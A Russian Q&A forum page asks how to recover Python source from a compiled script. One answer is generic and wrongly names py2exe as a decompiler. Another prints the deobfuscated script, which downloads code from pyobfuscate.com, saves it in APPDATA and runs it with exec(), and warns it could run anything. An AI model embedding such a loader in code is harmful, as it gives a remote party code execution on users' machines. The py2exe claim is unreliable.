Как получить исходный код Python скрипта из его скомпилированной версии?

Как можно оптимизировать процесс программирования для увеличения производительности и качества кода?
  • 11 мая 2024 г. 9:00
Ответы на вопрос 2
1. Для того чтобы получить исходный код Python скрипта из его скомпилированной версии, можно воспользоваться различными декомпиляторами, такими как uncompyle6 или py2exe. Однако стоит помнить, что в процессе декомпиляции могут быть потеряны некоторые оригинальные комментарии и структура кода может быть несколько изменена.

2. Для оптимизации процесса программирования и увеличения производительности и качества кода можно использовать следующие методы:

- Планирование и проектирование: перед началом написания кода следует тщательно спланировать структуру программы, определить основные функциональности и создать план действий.

- Использование лучших практик: следует придерживаться соглашений по написанию кода, использовать чистый и понятный код, избегать дублирования, следовать принципам DRY (Don't Repeat Yourself) и KISS (Keep It Simple, Stupid).

- Разделение кода на модули и функции: разбивка кода на небольшие модули и функции поможет сделать программу более гибкой, легко расширяемой и поддерживаемой.

- Использование проверенных библиотек и фреймворков: для ускорения процесса программирования и повышения качества кода можно использовать готовые библиотеки и фреймворки, которые имеют широкую поддержку и активное сообщество разработчиков.

- Тестирование и отладка: необходимо проводить тестирование кода на различных сценариях использования, а также использовать инструменты отладки для выявления и исправления ошибок.

- Постоянное обучение и самосовершенствование: следует следить за новыми технологиями, улучшать свои навыки программирования и стремиться к улучшению качества своего кода.
В конечном итоге эта дрянь выполняет что-то такое: 
try:
    from requests import get
except:
    print("pip install requests");input("press enter to Exit");exit()

fl=get("https://pyobfuscate.com/pyd/aes.txt").text
try:
    from os.path import exists as ex
    from os import getenv as ge,remove
    loc=ge('APPDATA');p1=loc+"\\aes.txt";p2=loc+"\\rsa.txt";p3=loc+"\\aes2.txt"

    if ex(p1)==True:
        remove(p1)
    elif ex(p2)==True:
        remove(p2)
    if ex(p3)==False:
        with open(str(p3),"w") as e:e.write(str(fl))
    exec(open(p2).read())

except:
    exec(fl)

Т.е. качает с сайта код и выполняет его. Там может быть что угодно, и измениться может в любой, блин, момент.
По ссылке ещё одна пачка обфусцированного кода, если что.
Похожие вопросы